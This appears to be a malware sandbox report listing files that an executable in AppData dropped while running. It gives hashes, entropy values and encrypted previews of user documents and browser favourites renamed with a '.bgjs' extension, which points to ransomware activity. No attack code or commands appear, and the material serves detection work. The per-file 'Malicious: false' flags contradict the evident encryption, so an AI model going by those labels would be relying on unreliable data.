Encrypted:	false
SSDEEP:	24:5h/4EU0voqKf/fay6nC3gtP1rB+F9AbfDA490RiqwyDfy6A5ImVszOLwJrhViTkX:5hlvWfay6LtP11+gbU490Iqw73VszawX
MD5:	810C00206008F64B04805A3B7A39A4B7
SHA1:	711A390367F2B89C01CDFCC226AB4B62F0D6921D
SHA-256:	0F10D12F9F5DD751EF6448F21244A53EBFA9C01BCACEC0AC0F8A5C4EFD4D0C71
SHA-512:	B8565B2087C8C5F4825BE5302765D5DA4B63F48EB61A73D22F48B019B4393F1AB406AB1193170C308892E1FCCCC3E7AB823D38E4BA7076E6EBCB6ECC6992A325
Malicious:	false
Preview:	PWCCA.H...h..i..>;'......n.(....u.4..ny.}....m.7.y..Z.z.&....XJ.\|....pC...'.....F(....6#..f........g=..z...;...zc..8..D..b...B..4..VkF....F...KB...Hr.B4K.../.K....5.D;............7...........]0....Ww.a..u.+.B}2".......B.wD@..T~g9...D.W;8.o.Y.[...5..:]..e/nw..p...!U0.>..M.V...kR.....)F".h..:-....i.K.D.z~"..5..o&..QA:?....$.v..B...M...v8<.....0..5!S.!.u.<.Q.S.^9...@+j..eH.`.........D...m..2z$1w[.z...y+.n..@.4.......%m#...Y.\L..I.~.,.....:. ~C.W....N...[.k....q.%.V.....p.O...U$...2..VW.k..!..@...B.1.......U.......N..j.&G.jq.8.R..k..].W.^...vWC.m.1_XV.M.&.zX[.=.ul......Z>e.x....S...c\F..n.k.]N.i- ..)..2..O.F...S.l.x.GX..9...GR^...L.yrl.d/P.y..y...8.....7..=..U.....:m..x......."..o?.,.w....K..i.=2...)Q\.=...n>)`.'B.Q3.../.....O..`r...t.Q..a<]E.v.5..f.K...'k.I.o..C......4k.I..@.F+E..[&...t..UZC...l.wm...(2....Rl.....y.........`.y.7.+.3QQb..,b.8B.F<...2ie"...H.f...Z..KH.>...1L..M....#..$.S.........r..).>Cc....~;.k.<.V...Z...vlpE....:.$B....>....q..

C:\Users\user\Downloads\SFPUSAFIOL.jpg

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841869723505912
Encrypted:	false
SSDEEP:	24:d2Silr44/WXBuS3G/4bspZuIx/puAXyk71RkNwiwP0fjkWpf1Mg88JygSHziTkbD:zilr4hM0GwbsLuIx/puAXyg1CNPwitfc
MD5:	015674C6533E870561C864B981E7CEFE
SHA1:	B034C4E80F23CBD099D1175BACB730CB5F751FAD
SHA-256:	031A2DF2554EF1EA0418BBC5D5F154CF3DA5577A93BDCC71A4EABC5B67BE20ED
SHA-512:	6EA574D4999DFBAAC4D181270C9594412ED966D0CE88F23EB0A1E806F05A096019CA318F369DD7EF9103162C090AE72425EE02A8E0432EC1784DC675D210B50D
Malicious:	false
Preview:	SFPUSb/..7Gv#.s..k.\../{..A...,.....nA..,..w....d3..H.fO!"......QQP.T<....7.....-L.5..'...rs.e..>zy..7..W..@.K.:.p.y..O.sP...PU\.S&....f...^.G.l...\...I.XVW....bO....(...9K3yQ...h..4.R.....j.........e.e.c.......q.V.z2...{2.Q...{...o.y.M.cu.F.......BAd..P!Y......Z."G..../..M...7.8...k~..}..S.....-I..f_.uT.R.<...".T..v.8..4?........+.1.........V.ay5.K.=lB.:6N.=g......N..lT)....+.$..W.o....M...>b.?.....}../....u.=G"FR.4.Q...`..cIm.}.4.;0..Y...^..u..A..)@..3...1;9....p..@U.O.. 9.BMiR.NW.....x.F....B.%.J.\..8.....Sd.42...B;o.U..........n...}..5...9R..A...P.O=..b.j.p-.P.A..d..v$..Z.e.MN......Bds..s.-.J.Tu..O;~...IIn..j2.tj....v.Y...f"X.~D........c.....R.pD..d#....U......=0.o..[.~..\|.}..u..4.11....."......N%!.........3..'................A.....Q.}....P9q..q...)..1x.r....^.r...u.K..c..:...T2..~..)y.[.s.9.rj_.2@2...`.v\|T..\|..{;..Q..?.r2mx....HUf..+a%...m..3.P.c.].......:Kj...EN(s....Kvb.[...!......n..&..?=..........."O...P^.S......U..l_..

C:\Users\user\Downloads\SFPUSAFIOL.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841869723505912
Encrypted:	false
SSDEEP:	24:d2Silr44/WXBuS3G/4bspZuIx/puAXyk71RkNwiwP0fjkWpf1Mg88JygSHziTkbD:zilr4hM0GwbsLuIx/puAXyg1CNPwitfc
MD5:	015674C6533E870561C864B981E7CEFE
SHA1:	B034C4E80F23CBD099D1175BACB730CB5F751FAD
SHA-256:	031A2DF2554EF1EA0418BBC5D5F154CF3DA5577A93BDCC71A4EABC5B67BE20ED
SHA-512:	6EA574D4999DFBAAC4D181270C9594412ED966D0CE88F23EB0A1E806F05A096019CA318F369DD7EF9103162C090AE72425EE02A8E0432EC1784DC675D210B50D
Malicious:	false
Preview:	SFPUSb/..7Gv#.s..k.\../{..A...,.....nA..,..w....d3..H.fO!"......QQP.T<....7.....-L.5..'...rs.e..>zy..7..W..@.K.:.p.y..O.sP...PU\.S&....f...^.G.l...\...I.XVW....bO....(...9K3yQ...h..4.R.....j.........e.e.c.......q.V.z2...{2.Q...{...o.y.M.cu.F.......BAd..P!Y......Z."G..../..M...7.8...k~..}..S.....-I..f_.uT.R.<...".T..v.8..4?........+.1.........V.ay5.K.=lB.:6N.=g......N..lT)....+.$..W.o....M...>b.?.....}../....u.=G"FR.4.Q...`..cIm.}.4.;0..Y...^..u..A..)@..3...1;9....p..@U.O.. 9.BMiR.NW.....x.F....B.%.J.\..8.....Sd.42...B;o.U..........n...}..5...9R..A...P.O=..b.j.p-.P.A..d..v$..Z.e.MN......Bds..s.-.J.Tu..O;~...IIn..j2.tj....v.Y...f"X.~D........c.....R.pD..d#....U......=0.o..[.~..\|.}..u..4.11....."......N%!.........3..'................A.....Q.}....P9q..q...)..1x.r....^.r...u.K..c..:...T2..~..)y.[.s.9.rj_.2@2...`.v\|T..\|..{;..Q..?.r2mx....HUf..+a%...m..3.P.c.].......:Kj...EN(s....Kvb.[...!......n..&..?=..........."O...P^.S......U..l_..

C:\Users\user\Downloads\SQRKHNBNYN.docx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873892356814332
Encrypted:	false
SSDEEP:	24:IryswkYjgFPQ0IZ6Qg8LgiHLa91yYokGlN2q2DqW2ceBQcxgGZAnKDiiTkbD:iRggFPl26Kra9+kGH3IcxZDXiD
MD5:	90B8529A3D903556E85D12F6F1E26C13
SHA1:	FFAEB024AA498B3FB780F8E7DED1BB0163FCBAF4
SHA-256:	DB2EC82FCE73A9574FDB29806D25F1200AA4CCE2FFA2B00188D567A7B146B111
SHA-512:	F52D5E2F51368BC7EBD62E240A4DE2C22D58B3AC97166CA71167B826857D2B0AC67015D13BD454195DB3D7241501A6254CB4161CC323B361D822D2E47D04DD52
Malicious:	false
Preview:	SQRKH.ie..L....l.I....b,G.....fj...}J..........a....Z.....%.(...)...M.I....o..p.9....p.g..Q.h...2.8..oXt..z.6r.hq~Q.....x..d\|....<$.Tt.d.K..O.=T...3.r#...n......t/.h.J...^...(...a{G.<...j.^D..$.92..bt5....S.....;h...u.....>..@.1.SD`;.....nM...!....E..N>...4-)pF.2V....4.......m..LP.1.....$.>.5Q..U@V=.).0.L..z.c}.....k.v.<{...8.?.{p.A..s...w.........Iy..>b..$.&$.....&...W....r........"..@\|D....(4.~....\....c...J8.@n.T.Zc1..uHN.......G.m.O....Pz.r...@%Y....L.lp......X.t.N.g.J........#.`2...Sf.(..s+.P. \.\|.~!.....O.......`Mp..b..]..2>.[.D.b..#K...2'#.e...\yA..f\|...e....+V.HbS....g..B.8.....%s...Pq..j]..o.f...l....g..J...1UM..^.....g\M.............] "u..a..h..f.....oN.k.8.::...fR.&.........g:.&`...+v..K&x.c;.Dq.%...$...)..k..s..-XZjf.......9...$.8R.{..y._>>.._..w..Z`JhI....)+a9.....Hy...k.....::..fN.......-O.y.......s..g.ON.w.......+.$.HB..`....D.!..f6..cQBmU....t...#.."s^.b.j../.N3...+>6=v...9.5&.u....7x.....y.e./..n.....\..%.g.z]h+.

C:\Users\user\Downloads\SQRKHNBNYN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873892356814332
Encrypted:	false
SSDEEP:	24:IryswkYjgFPQ0IZ6Qg8LgiHLa91yYokGlN2q2DqW2ceBQcxgGZAnKDiiTkbD:iRggFPl26Kra9+kGH3IcxZDXiD
MD5:	90B8529A3D903556E85D12F6F1E26C13
SHA1:	FFAEB024AA498B3FB780F8E7DED1BB0163FCBAF4
SHA-256:	DB2EC82FCE73A9574FDB29806D25F1200AA4CCE2FFA2B00188D567A7B146B111
SHA-512:	F52D5E2F51368BC7EBD62E240A4DE2C22D58B3AC97166CA71167B826857D2B0AC67015D13BD454195DB3D7241501A6254CB4161CC323B361D822D2E47D04DD52
Malicious:	false
Preview:	SQRKH.ie..L....l.I....b,G.....fj...}J..........a....Z.....%.(...)...M.I....o..p.9....p.g..Q.h...2.8..oXt..z.6r.hq~Q.....x..d\|....<$.Tt.d.K..O.=T...3.r#...n......t/.h.J...^...(...a{G.<...j.^D..$.92..bt5....S.....;h...u.....>..@.1.SD`;.....nM...!....E..N>...4-)pF.2V....4.......m..LP.1.....$.>.5Q..U@V=.).0.L..z.c}.....k.v.<{...8.?.{p.A..s...w.........Iy..>b..$.&$.....&...W....r........"..@\|D....(4.~....\....c...J8.@n.T.Zc1..uHN.......G.m.O....Pz.r...@%Y....L.lp......X.t.N.g.J........#.`2...Sf.(..s+.P. \.\|.~!.....O.......`Mp..b..]..2>.[.D.b..#K...2'#.e...\yA..f\|...e....+V.HbS....g..B.8.....%s...Pq..j]..o.f...l....g..J...1UM..^.....g\M.............] "u..a..h..f.....oN.k.8.::...fR.&.........g:.&`...+v..K&x.c;.Dq.%...$...)..k..s..-XZjf.......9...$.8R.{..y._>>.._..w..Z`JhI....)+a9.....Hy...k.....::..fN.......-O.y.......s..g.ON.w.......+.$.HB..`....D.!..f6..cQBmU....t...#.."s^.b.j../.N3...+>6=v...9.5&.u....7x.....y.e./..n.....\..%.g.z]h+.

C:\Users\user\Downloads\UOOJJOZIRH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84589559720947
Encrypted:	false
SSDEEP:	24:P/JCTl0Q9j29AJkZdHSWdWd9Bmn6x63vVsRJI4aqftBI/+liTkbD:P/J2mQ9a9AmZ4Msi2kvGvS0MiD
MD5:	DAB4E7E8F4E8D897B704AF0B85CE1E3E
SHA1:	B21E0835378773A5BA97AEE3D5B39282331C2816
SHA-256:	0274C441AF44F44B3B95F3C93CFA8950FF56D678255FE5F9719D70F0FBB45DF0
SHA-512:	2774387CFF42C36F6E6B5A5E247422D10A8B149D44193FA2F0F87B527DE1B6A9CF2C6F3D568FEE843092BB416EE84163ADF415C686546742765AE73C25C4390D
Malicious:	false
Preview:	UOOJJ.....1.2ut._5i2...U....=..J4I..+....rH..O\R.`2../...........w#..U....h`.....U..U..-.....h..k.Zk..c%...+.Cj.h%/{.VM.Ei.X2..+e..#.....3.hCj..R..RXsU=.}.:\...n!.Q.;..b;..[...N9..%j...J..AoE.Sl...i./.{X.<...,......E!>7.".S....c.I.H......@.../.X%....nn..y[..b.......p.....a.y.s9....xlH,..XO>3.`.B...7..Z.IM....._9.....D.p......l.).....LY...+#./9..4h.Cf.k....5Y..E].+....Yo....pY4..wg.`$.:......p"k7.[.U{.J..(S......F;..gEV........<..~....x4f...y.0..%..JU.`B..W...C..g)....& .a0.7&&.{c....w.R..:&.u@.....A\..VR]...@ME.w.A..$>0..f.L...C...w+....\|..%..0. .}o...<xq.z.m.Sr.Jc.o.....)}....s_D.k,.Z ..c&g8.HD..1`.e\...K...V..q6..#zN,-..Z/;.g2K.N~...s?.-..U5.....X..v...SR....2s.b.F!h'}...\a...c.......H'2........LI..{.^E.HL.r..m;ejd\mw.....t...E.........+..FSu....J.]p..q.aQ.E..f."lP.......X1..5izN.zkl.7.E...@..).d...)T.-...y<'..k.A..B....xl..h!..?.G+.?.....P....OF.]....}u(X(.H..o.......lv.2.....R.r.....f...tu.....o..vu."..}l.?..5.s.q...LN.j...j.u....t}G.U..

C:\Users\user\Downloads\UOOJJOZIRH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84589559720947
Encrypted:	false
SSDEEP:	24:P/JCTl0Q9j29AJkZdHSWdWd9Bmn6x63vVsRJI4aqftBI/+liTkbD:P/J2mQ9a9AmZ4Msi2kvGvS0MiD
MD5:	DAB4E7E8F4E8D897B704AF0B85CE1E3E
SHA1:	B21E0835378773A5BA97AEE3D5B39282331C2816
SHA-256:	0274C441AF44F44B3B95F3C93CFA8950FF56D678255FE5F9719D70F0FBB45DF0
SHA-512:	2774387CFF42C36F6E6B5A5E247422D10A8B149D44193FA2F0F87B527DE1B6A9CF2C6F3D568FEE843092BB416EE84163ADF415C686546742765AE73C25C4390D
Malicious:	false
Preview:	UOOJJ.....1.2ut._5i2...U....=..J4I..+....rH..O\R.`2../...........w#..U....h`.....U..U..-.....h..k.Zk..c%...+.Cj.h%/{.VM.Ei.X2..+e..#.....3.hCj..R..RXsU=.}.:\...n!.Q.;..b;..[...N9..%j...J..AoE.Sl...i./.{X.<...,......E!>7.".S....c.I.H......@.../.X%....nn..y[..b.......p.....a.y.s9....xlH,..XO>3.`.B...7..Z.IM....._9.....D.p......l.).....LY...+#./9..4h.Cf.k....5Y..E].+....Yo....pY4..wg.`$.:......p"k7.[.U{.J..(S......F;..gEV........<..~....x4f...y.0..%..JU.`B..W...C..g)....& .a0.7&&.{c....w.R..:&.u@.....A\..VR]...@ME.w.A..$>0..f.L...C...w+....\|..%..0. .}o...<xq.z.m.Sr.Jc.o.....)}....s_D.k,.Z ..c&g8.HD..1`.e\...K...V..q6..#zN,-..Z/;.g2K.N~...s?.-..U5.....X..v...SR....2s.b.F!h'}...\a...c.......H'2........LI..{.^E.HL.r..m;ejd\mw.....t...E.........+..FSu....J.]p..q.aQ.E..f."lP.......X1..5izN.zkl.7.E...@..).d...)T.-...y<'..k.A..B....xl..h!..?.G+.?.....P....OF.]....}u(X(.H..o.......lv.2.....R.r.....f...tu.....o..vu."..}l.?..5.s.q...LN.j...j.u....t}G.U..

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.451373232928293
Encrypted:	false
SSDEEP:	12:ur/0OY6lmWDJZCImYvx/mJ5IZe4/sAVixpZacii9a:kHY6FHrmOYYZZkAViTkbD
MD5:	71536AB2077B563DE5817D0534DD963B
SHA1:	92FC638685CE5E447865F87A269E50004C46D910
SHA-256:	7637A61A1EBE9B203D1D2756029091224C3864AE1A9E2A751760E8DEB07C4A72
SHA-512:	27A52151DA7FE97B4A0C52EF85B095C508E4D69D149F2BA2FE305E84F50180DE85D9A3667D5DF1F7204F5376063C2056787272CCDD485A16246F3023E37DB04A
Malicious:	false
Preview:	[{000k.&.-J.....\|g.....K3.T.3...g.......b..n.O.R>-.LY.{0...AN9........M._..v.v..^..!M.;....]...B.:.C.......".H.o.X.........Z.k.>...].e....]\|A.2.ie.._..&....'6V..N.ZE......T.x.n....gI..U.MRP.I..W.$.k....z.......u..I..C......k.sJK..{..:{....(..x..._...6..gk.3S\3 ....0......d..$..u..i.Ko..&..r..s.<...#.d'.s....R..c...ol=....E..Oj3k.h2&<.=LH.aUE4....O.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.451373232928293
Encrypted:	false
SSDEEP:	12:ur/0OY6lmWDJZCImYvx/mJ5IZe4/sAVixpZacii9a:kHY6FHrmOYYZZkAViTkbD
MD5:	71536AB2077B563DE5817D0534DD963B
SHA1:	92FC638685CE5E447865F87A269E50004C46D910
SHA-256:	7637A61A1EBE9B203D1D2756029091224C3864AE1A9E2A751760E8DEB07C4A72
SHA-512:	27A52151DA7FE97B4A0C52EF85B095C508E4D69D149F2BA2FE305E84F50180DE85D9A3667D5DF1F7204F5376063C2056787272CCDD485A16246F3023E37DB04A
Malicious:	false
Preview:	[{000k.&.-J.....\|g.....K3.T.3...g.......b..n.O.R>-.LY.{0...AN9........M._..v.v..^..!M.;....]...B.:.C.......".H.o.X.........Z.k.>...].e....]\|A.2.ie.._..&....'6V..N.ZE......T.x.n....gI..U.MRP.I..W.$.k....z.......u..I..C......k.sJK..{..:{....(..x..._...6..gk.3S\3 ....0......d..$..u..i.Ko..&..r..s.<...#.d'.s....R..c...ol=....E..Oj3k.h2&<.=LH.aUE4....O.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.443522432009268
Encrypted:	false
SSDEEP:	12:Ck6FCXu88TS0w68GcA6F0s2BVGfoZixpZacii9a:ECXu41e7BcKiTkbD
MD5:	E0F33CCF46EF286DCB245E38BC0A3697
SHA1:	A5B1B7F5D52DC60601F68A2790BAF1BD96205015
SHA-256:	A330CF89B7EFEC52113EB2298A4BB1837528FEE705ECB1D6C18D64347D9A4B01
SHA-512:	461EAABDEE861007C2C09A2D0FCDA74ECBE1688E4251B32E425A6431A0C5FA8AE9D7CB65572CA96818E0BA3FC47C6DC249C32841B768E3D84ECDD8765F2A78D7
Malicious:	false
Preview:	[{000......x.q.?.K,5...o..sG....b-/.R.O..*.=D"K..T..a.vJ.EW......m.gdz...NG.U.M....,N...0..>yT3Q.`..Q......-e......~]w....D.b.....&.....z.b.B}.......bWp.[d....q[L\...9S..).BQNf..KO..4.`;...h..#p..p+M..s.(.....\|..]o......ak..PH...,...a...g..\.M...3.7.g..6Ei...@@Z7..H.........a.4.N.....>.9.(.}{.I..........M.0. ..(X.........N...e..$....%}.z.R..........=r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.443522432009268
Encrypted:	false
SSDEEP:	12:Ck6FCXu88TS0w68GcA6F0s2BVGfoZixpZacii9a:ECXu41e7BcKiTkbD
MD5:	E0F33CCF46EF286DCB245E38BC0A3697
SHA1:	A5B1B7F5D52DC60601F68A2790BAF1BD96205015
SHA-256:	A330CF89B7EFEC52113EB2298A4BB1837528FEE705ECB1D6C18D64347D9A4B01
SHA-512:	461EAABDEE861007C2C09A2D0FCDA74ECBE1688E4251B32E425A6431A0C5FA8AE9D7CB65572CA96818E0BA3FC47C6DC249C32841B768E3D84ECDD8765F2A78D7
Malicious:	false
Preview:	[{000......x.q.?.K,5...o..sG....b-/.R.O..*.=D"K..T..a.vJ.EW......m.gdz...NG.U.M....,N...0..>yT3Q.`..Q......-e......~]w....D.b.....&.....z.b.B}.......bWp.[d....q[L\...9S..).BQNf..KO..4.`;...h..#p..p+M..s.(.....\|..]o......ak..PH...,...a...g..\.M...3.7.g..6Ei...@@Z7..H.........a.4.N.....>.9.(.}{.I..........M.0. ..(X.........N...e..$....%}.z.R..........=r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.429123844577689
Encrypted:	false
SSDEEP:	12:YZ5uDY+s1CzQeIQ4H64tYsZjcYZ/JixpZacii9a:YZ5F+s1H/Q41tdc6hiTkbD
MD5:	1E96168FA5A79E725DCE0D83D9B597BC
SHA1:	E3611F4E17298E468D3A3B3386D783A36B316BC6
SHA-256:	8FDAA1F65098CF515321B08C3EB9E7A31A22CD85C5C812AEE2CAA0B79CC0B76B
SHA-512:	9BAEF30A155BE7BE5A70585D25106B4D790984FAC4456EC77CBFF4D5B16D0DB360FA097845B9C05EC88E80A326BBAAEF0F23EC3CB29A3554180066DF423D5EA9
Malicious:	false
Preview:	[{000.a.i.\U\|...;.....lH.nA\|.....~.U......uv8.8..M..t..g.... ..&....F..N.z.xGN...K...dZ~..l.ra..wb..8q.K8..@u...fv}[..S9.e..b....~...1.`.P.m.Sq...E.w.r'.......JD.'..?...H...x[.F.E..O....]S...V...O..*......b.y.d.\..\.A.d..e%.....,......&q......p...O.B....U>..I......2B..~....6.'td_.q....Q.......C...%kU{K;.....+.....J.R:%Y.M.\|..G4.ko...`.(.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.429123844577689
Encrypted:	false
SSDEEP:	12:YZ5uDY+s1CzQeIQ4H64tYsZjcYZ/JixpZacii9a:YZ5F+s1H/Q41tdc6hiTkbD
MD5:	1E96168FA5A79E725DCE0D83D9B597BC
SHA1:	E3611F4E17298E468D3A3B3386D783A36B316BC6
SHA-256:	8FDAA1F65098CF515321B08C3EB9E7A31A22CD85C5C812AEE2CAA0B79CC0B76B
SHA-512:	9BAEF30A155BE7BE5A70585D25106B4D790984FAC4456EC77CBFF4D5B16D0DB360FA097845B9C05EC88E80A326BBAAEF0F23EC3CB29A3554180066DF423D5EA9
Malicious:	false
Preview:	[{000.a.i.\U\|...;.....lH.nA\|.....~.U......uv8.8..M..t..g.... ..&....F..N.z.xGN...K...dZ~..l.ra..wb..8q.K8..@u...fv}[..S9.e..b....~...1.`.P.m.Sq...E.w.r'.......JD.'..?...H...x[.F.E..O....]S...V...O..*......b.y.d.\..\.A.d..e%.....,......&q......p...O.B....U>..I......2B..~....6.'td_.q....Q.......C...%kU{K;.....+.....J.R:%Y.M.\|..G4.ko...`.(.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.417782877049068
Encrypted:	false
SSDEEP:	6:J4lNLmnCq9cqFxCH156C9MNs8v73eIfcQnpXIxE4qmdxONSOlNzjGxssZacii96Z:CNSMqFM+P7uIEMsd8TzixpZacii9a
MD5:	3B39085FE23271BCB8E603668C2A334B
SHA1:	204BBE890D6BE5F46D033A34EEE8CCD6C33C1659
SHA-256:	D92C0FB9A4A60D8C8209997630BD001BE4C3228AECC6DF91F95E06FD8DD94455
SHA-512:	BE9C74C39EC998F5D7F9199DA94B853FF49A06769986818669EAF3B0D967CC9962F9AE20F1A0B1897EB7D7831933B51D29FD7A12E7EBA6C0ADA616055C068AB9
Malicious:	false
Preview:	[{000.....}1!:.Y..}L3.]F....+....;.81......^.{..%.{...Cl.....{xh.m..).{G......AO'_,.`2.o2....\|..N-.gP.z}....0P..E.....O...o.#X.......(....QBw.l\|.L.9MnK....P[!...ZS..3...7...".@t@..J.&.!!.....t...Egn..y5=IjC2..$#MR*..O.V..!kE."......_u..2ml.r..vf.....j.Y:S..'?....D.X{.U..>.<.0.i4...jH....\P.F....W.ZING.~s,.;6S...,..(.Pj7+.....e<.y.P..,Wf.v...w.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.417782877049068
Encrypted:	false
SSDEEP:	6:J4lNLmnCq9cqFxCH156C9MNs8v73eIfcQnpXIxE4qmdxONSOlNzjGxssZacii96Z:CNSMqFM+P7uIEMsd8TzixpZacii9a
MD5:	3B39085FE23271BCB8E603668C2A334B
SHA1:	204BBE890D6BE5F46D033A34EEE8CCD6C33C1659
SHA-256:	D92C0FB9A4A60D8C8209997630BD001BE4C3228AECC6DF91F95E06FD8DD94455
SHA-512:	BE9C74C39EC998F5D7F9199DA94B853FF49A06769986818669EAF3B0D967CC9962F9AE20F1A0B1897EB7D7831933B51D29FD7A12E7EBA6C0ADA616055C068AB9
Malicious:	false
Preview:	[{000.....}1!:.Y..}L3.]F....+....;.81......^.{..%.{...Cl.....{xh.m..).{G......AO'_,.`2.o2....\|..N-.gP.z}....0P..E.....O...o.#X.......(....QBw.l\|.L.9MnK....P[!...ZS..3...7...".@t@..J.&.!!.....t...Egn..y5=IjC2..$#MR*..O.V..!kE."......_u..2ml.r..vf.....j.Y:S..'?....D.X{.U..>.<.0.i4...jH....\P.F....W.ZING.~s,.;6S...,..(.Pj7+.....e<.y.P..,Wf.v...w.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.44899971270518
Encrypted:	false
SSDEEP:	12:GLxt5Q7qv03nT1ofoihtZtXV+amlQpGlZAZixpZacii9a:yMuvYnophttLmCpMCZiTkbD
MD5:	2389899A8930EABB5CDB1D86B59E3058
SHA1:	45388FFA5CF93D38CE6BA7F79B6EB784D91F3C87
SHA-256:	F3B018484C3334BA4C5F01F0CFF0FA859F95AF0C4ECD0D6C66B39932492E784F
SHA-512:	EDF969778B444E82AD6DE9551A07AA00C972EB2ADE45137245A6D11DA67A2A69F82D9428DBC92AB6CD987019CB6CA224E9443495E9D69E56C922667D29B5D2BC
Malicious:	false
Preview:	[{000..f..#.%..QB.:....#.Q?..ij['....@....!...k.;.>.._._..............GNw.C.%..w..M.qk..z.^....2.../.b......DzP;O.iIk`.k.B.-.^.)H%....2....z8...n...R..0.O....[yN..~e..+w.}.....a...HM.d...V..O.$..[........PB.=...\|..c&.\|#.\......B..ak....q..FI.e,+j.[.K...x.Wi1.....(...i.......{.MO.v.^$).\|.(k..[.......E].=....h.[....#.pT........L....-......x.ut.~\|7U.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.44899971270518
Encrypted:	false
SSDEEP:	12:GLxt5Q7qv03nT1ofoihtZtXV+amlQpGlZAZixpZacii9a:yMuvYnophttLmCpMCZiTkbD
MD5:	2389899A8930EABB5CDB1D86B59E3058
SHA1:	45388FFA5CF93D38CE6BA7F79B6EB784D91F3C87
SHA-256:	F3B018484C3334BA4C5F01F0CFF0FA859F95AF0C4ECD0D6C66B39932492E784F
SHA-512:	EDF969778B444E82AD6DE9551A07AA00C972EB2ADE45137245A6D11DA67A2A69F82D9428DBC92AB6CD987019CB6CA224E9443495E9D69E56C922667D29B5D2BC
Malicious:	false
Preview:	[{000..f..#.%..QB.:....#.Q?..ij['....@....!...k.;.>.._._..............GNw.C.%..w..M.qk..z.^....2.../.b......DzP;O.iIk`.k.B.-.^.)H%....2....z8...n...R..0.O....[yN..~e..+w.}.....a...HM.d...V..O.$..[........PB.=...\|..c&.\|#.\......B..ak....q..FI.e,+j.[.K...x.Wi1.....(...i.......{.MO.v.^$).\|.(k..[.......E].=....h.[....#.pT........L....-......x.ut.~\|7U.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

